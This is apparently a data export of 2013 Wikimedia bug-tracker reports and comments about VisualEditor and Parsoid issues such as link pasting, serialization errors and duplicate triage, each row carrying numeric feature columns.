+226394,VisualEditor: Can not paste new link anchor,"Yeah, sorry about this; I was behind in triaging bugs and didn't get to this in time. It's in fact actually a duplicate of an already-fixed bug that went out in wmf4 (but isn't yet deployed on enwiki - that will happen on Monday 20 May).
+
+*** This bug has been marked as a duplicate of bug 48195 ***",,,1368726943,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-h57f3cph7qycjnbwjvnw,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+226383,VisualEditor: Can not paste new link anchor,"Unfortunately this bug didn't get triaged in time, and I worry that you may have spent a lot of time working on a solution for a no-longer-existing problem.
+
+The bug here has to do with pasting into the middle of a link not taking on the proper annotations. This appears to be fixed in master, and production is somewhat behind that.
+
+The solution being offered here ( I9ae4aeed6099cbe9affdc2aa83045121bc0b8669 ) adds a ""display text"" input to the inspector - but I think this patch overlooks some important UX and technical issues.
+
+We deliberately do not want to have a text field in the inspector for the display text, for a couple of reasons.
+
+1. The ""display text"" isn't just plain text, it could include formatting, templates, images, etc. This isn't going to work in a single line text input.
+
+2. Users already have a way to change the display text (or non-text) content, and if there are bugs there, we should resolve them there.",,,1368725524,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-h57f3cph7qycjnbwjvnw,task_subcomment,,True,c1,1,False,,,-7,,1,0,0,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,1
+226378,VisualEditor: Can not paste new link anchor,"**jiabao.foss** wrote:
+
+I have investigated this bug. When looking at the use case for pasting text as you insert it into the hyperlink you need to also consider other formatting being pasted in. In other editors you can see that the link also splits leaving the text plain. This is because if you pasted for example a table or a section into the center of a link it cant accept this as part of the link itself and must be split. 
+
+The solution I will work on is add a way to edit the displayed hyperlink text while the linkinspector dialog is open. this will allow users to paste box complex links and displayed text when using visualeditor.",,,1368684779,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-h57f3cph7qycjnbwjvnw,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+50471,VisualEditor adds ↵ when editing user .js and .css pages,"**Author:** `the.anonymouse.wikimedia`
+
+**Description:**
+screenshot of editing my .js file with VisualEditor
+
+When editing user skin .js and .css page ([[Special:MyPage/skin.js]] and [[Special:MyPage/skin.js]]), line returns are replaced with ↵ symbols. I attached a screenshot to this bug report of editing my .js page with VisualEditor.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10832}",Needs Triage,90.0,1368565440,1368569378.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-apdnw6jklub4mtqzckmn,task_description,resolved,True,c1,1,False,False,True,-7,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+225367,VisualEditor adds ↵ when editing user .js and .css pages,"Happily, we've just last week disabled editing of JS and CSS pages (the code will be deployed to enwiki on Monday 20 May).
+
+*** This bug has been marked as a duplicate of bug 47456 ***",,,1368569378,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-apdnw6jklub4mtqzckmn,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+50433,VisualEditor link tool incorrectly shows a red link,"VisualEditor link dialog box incorrectly showing red text, 2013-05-13
+
+Go to <https://www.mediawiki.org/wiki/Sysadmin_hub>. Click ""edit"". Highlight the word ""wiki"" and click the link icon in the toolbar. A dialog box pops up incorrectly showing ""wiki"" in red text (indicating that the article does not exist). Screenshot attached.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10762}",Needs Triage,90.0,1368500280,1368720868.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-zpvndgxny4i6jsgnxaga,task_description,resolved,True,c1,1,False,False,True,-7,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+223488,VisualEditor link tool incorrectly shows a red link,"Also reported by Timo; given work us underway, DUPEing up rather than down.
+
+*** This bug has been marked as a duplicate of bug 48476 ***",,,1368720868,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zpvndgxny4i6jsgnxaga,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+50431,"""visualeditor-diff-nochanges"" exposed on mediawiki.org","VisualEditor message key exposed on mediawiki.org, 2013-05-13
+
+URL: <https://www.mediawiki.org/wiki/MobileFrontend/Photo_upload/Analysis>
+
+Error: see attached screenshot
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10756}",Needs Triage,90.0,1368497760,1368545353.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-uuriwo6q3mdhjyt6egwi,task_description,resolved,True,c1,1,False,False,True,-7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+223385,"""visualeditor-diff-nochanges"" exposed on mediawiki.org",Now fixed.,,,1368545353,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uuriwo6q3mdhjyt6egwi,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+223380,"""visualeditor-diff-nochanges"" exposed on mediawiki.org",Looks like <visualeditor-diff-nochanges> is not in MW.org's message file; need to do a message purge?,,,1368500743,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uuriwo6q3mdhjyt6egwi,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1
+50316,"VisualEditor: When the edit tab is replaced it breaks active/selected states and doesn't replace ""Create"" tabs properly.","When the VisualEditor replaces the normal ""Edit"" tab with ""Edit source"" it deletes any selected/active state on the tab. This results in an active edit tab becoming non-active when you are on &action=edit.
+
+Additionally on a non existent page ""Create"" gets replaced with ""Edit source"" instead of something like ""Create source"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1368150660,1368150918.0,PHID-USER-gibrlx54k2riiuit5paf,False,,False,PHID-TASK-tstjv3noyoaah6bfdmns,task_description,resolved,True,c1,1,False,False,True,-8,,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+216336,"VisualEditor: When the edit tab is replaced it breaks active/selected states and doesn't replace ""Create"" tabs properly.","This is a dupe of three different bugs, but I'll settle for the obvious one. :-)
+
+(A prior search when you're reporting a bug does help avoid this! :-))
+
+*** This bug has been marked as a duplicate of bug 47452 ***",,,1368150918,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tstjv3noyoaah6bfdmns,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+50179,Parsoid: HTML comment with immediately following table has newline split removed,"As per Subbu's report. (The corrupted table is going to be a different bug.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial
+**URL**: http://parsoid.wmflabs.org/_rt/en/BMW_801",Needs Triage,90.0,1367872680,1367944050.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_description,resolved,True,c1,1,True,False,True,-8,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+208134,Parsoid: HTML comment with immediately following table has newline split removed,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934001,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+208127,Parsoid: HTML comment with immediately following table has newline split removed,Fixed in production.,,,1367944050,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+208120,Parsoid: HTML comment with immediately following table has newline split removed,Related URL: https://gerrit.wikimedia.org/r/62546 (Gerrit Change If16dda01058715acee8df347b2b9c4da84609113),,,1367884917,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+208111,Parsoid: HTML comment with immediately following table has newline split removed,I am still getting a clean diff with Chromium (and &debug=true to work around current VE breakage). Can you point out any pages that have a dirty diff both in FF and Chrome?,,,1367877227,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+208101,Parsoid: HTML comment with immediately following table has newline split removed,"(In reply to comment #5)
+> Those were FF-specific, which points to client-side issues. Are they now an
+> issue independent of the browser?
+
+Actually, that bit wasn't FF-specific, it was happening in Chrome as well (and I can confirm that it still does).",,,1367876908,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+208094,Parsoid: HTML comment with immediately following table has newline split removed,"Those were FF-specific, which points to client-side issues. Are they now an issue independent of the browser?",,,1367876730,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+208087,Parsoid: HTML comment with immediately following table has newline split removed,"(In reply to comment #3)
+> Can you link to the original report?
+
+The midden of bug 47712.",,,1367876593,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1
+208081,Parsoid: HTML comment with immediately following table has newline split removed,Can you link to the original report?,,,1367876265,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+208074,Parsoid: HTML comment with immediately following table has newline split removed,"(In reply to comment #1)
+> I get a JS error when trying to preview the diff in that page using FF:
+> [13:44:04.016] Error: toDomElements() failed to return an array when
+> converting
+> element of type alienBlock @
+> http://bits.wikimedia.org/en.wikipedia.org/load.
+> php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-raster%7Cext.
+> visualEditor.viewPageTarget.icons-raster%7Crangy%7Cunicodejs.
+> wordbreak&skin=vector&version=20130506T190432Z&*:130
+
+Bug 48181.",,,1367874446,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+208068,Parsoid: HTML comment with immediately following table has newline split removed,"I get a JS error when trying to preview the diff in that page using FF:
+[13:44:04.016] Error: toDomElements() failed to return an array when converting element of type alienBlock @ http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-raster%7Cext.visualEditor.viewPageTarget.icons-raster%7Crangy%7Cunicodejs.wordbreak&skin=vector&version=20130506T190432Z&*:130",,,1367873178,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+50110,VisualEditor: Adjacent annotations which are equal by name but not reference do not serialise correctly.,"In MW, annotations loaded from the document will have data-parsoid attributes, and so will have difference store indexes to new annotations. If two words with differently indexed bold annotations are placed side-by-side they converter will close the first one before opening the second, e.g.:
+
+<b>Bold on load text</b><b>added text</b>
+
+Which Parsoid converts to
+
+'''Bold on load text''''''added text'''
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1367774100,1367871652.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-hc26warwwz5ylqujc3td,task_description,resolved,True,c1,1,True,False,True,-9,,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+229423,VisualEditor: Adjacent annotations which are equal by name but not reference do not serialise correctly.,Merged into master.,,,1367871652,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hc26warwwz5ylqujc3td,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+229419,VisualEditor: Adjacent annotations which are equal by name but not reference do not serialise correctly.,Related URL: https://gerrit.wikimedia.org/r/62352 (Gerrit Change I93586919002c78732228e08b134e67e1a94f8ad7),,,1367782652,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hc26warwwz5ylqujc3td,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49860,VisualEditor: Extra tags got inserted causing infobox layout to be broken,"https://zh.wikipedia.org/w/index.php?title=Team_A_6th_Stage%E3%80%8C%E7%9B%AE%E6%93%8A%E8%80%85%E3%80%8D&diff=26390481&oldid=25589213
+
+All change done manually is the insertion of ""编辑器测试"" at the first diff, then those extra </span> and </table> got added automatically.
+
+Where's that ""partial serialization"" mentioned before?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1367290980,1367545048.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-slnchzhtiw4uoxg47vla,task_description,resolved,True,c1,1,False,False,True,-9,,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1
+213878,VisualEditor: Extra tags got inserted causing infobox layout to be broken,"The main part of this bug (the extra </span> and </table>) look like they're duplicates of bug 47737 - this is fixed, but the new code won't get to zhwiki until 8 May.
+
+The whitespace changes look to be bug 47712 in Parsoid (but possibly actually a fault in VisualEditor).
+
+Marking as a dupe.
+
+*** This bug has been marked as a duplicate of bug 47737 ***",,,1367545048,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-slnchzhtiw4uoxg47vla,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+49816,VisualEditor: Unread message notification will not mark itself read,"I have ""1 notice"", ""You are using an alpha version...."".
+
+1. Clicking the notice, it pops up.
+2. Click the message contents, the popup hides.
+
+""1 notice"" remains.  Maybe it will go away when I save the page I'm editing?
+
+3. Save the page, and edit again.
+
+The notice is still there, and even expands when the editor is started.  Blargh!
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Needs Triage,90.0,1367215380,1367544785.0,PHID-USER-p6hvqn5njgnxuagekh4b,False,,False,PHID-TASK-r75ffyh3qiqooawo44eb,task_description,declined,True,c1,1,True,False,True,-9,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,1
+211213,VisualEditor: Unread message notification will not mark itself read,"(In reply to comment #0)
+> I have ""1 notice"", ""You are using an alpha version...."".
+> 
+> 1. Clicking the notice, it pops up.
+> 2. Click the message contents, the popup hides.
+> 
+> ""1 notice"" remains.  Maybe it will go away when I save the page I'm editing?
+> 
+> 3. Save the page, and edit again.
+> 
+> The notice is still there, and even expands when the editor is started. 
+> Blargh!
+
+The notices are urgent notifications about the page, not about the user. They're intended to always display, just like the editnotices they replace.
+
+Theoretically we could have per-user nullification of these, but that'd be messy. Another idea (perhaps?) is to not auto-display the OMG-this-is-so-important-all-users-must-acknowledge nature of editnotices and the like. However, this seems to fly against the underlying purpose of the notices.
+
+Marking as WONTFIX.",,,1367544785,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-r75ffyh3qiqooawo44eb,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+49814,RTL Support for VisualEditor,"Add RTL support for page-, paragraph- and block-level elements in VisualEditor, as well as support for multi-language use in articles.
+
+Full proposal (GSoC2013 project) is available here: http://www.mediawiki.org/wiki/User:Mooeypoo/GSOC_2013_Proposal:_RTL_Support_in_VisualEditor
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1367205180,1367268091.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-2gqmb4cvp2njgfweg4mi,task_description,resolved,True,c1,1,False,False,True,-9,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+211126,RTL Support for VisualEditor,"This is indeed a duplicate of bug 33126. mooeypoo please update your proposal linking to that bug.
+
+No worries, these things happen to veteran bug submitters as well. :)
+
+*** This bug has been marked as a duplicate of bug 33126 ***",,,1367268091,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-2gqmb4cvp2njgfweg4mi,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+211122,RTL Support for VisualEditor,"I'll tentatively reopen it and mark it as blocking 33126 instead.
+Not sure though, maybe James knows. :)",,,1367231596,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2gqmb4cvp2njgfweg4mi,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+211118,RTL Support for VisualEditor,It's a bug for tracking a GSoC proposal. I think that it should be reopened.,,,1367228877,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-2gqmb4cvp2njgfweg4mi,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+211113,RTL Support for VisualEditor,"As this seems to be a tracking bug covering several aspects, marking as duplicate of bug 33126.
+
+Please see the list of specific issues blocking bug 33126 in the ""Depends on:"" section of bug 33126, and if some of the specific issues that you mention are not covered (means: do not have a bug report), please file separate bug reports for each item. Thanks!
+
+*** This bug has been marked as a duplicate of bug 33126 ***",,,1367228662,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2gqmb4cvp2njgfweg4mi,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+49768,[VisualEditor] CSS and JS pages should only be editable using the source editor,"CSS and JS pages shouldn't be editable using the VisualEditor, but only using the regular source editor. These pages should only have the ""Edit source"" tab.
+
+(It may make sense to have them editable using the source code editor that is used for Lua, but that's a separate issue.)
+
+--------------------------
+**Version**: unspecified
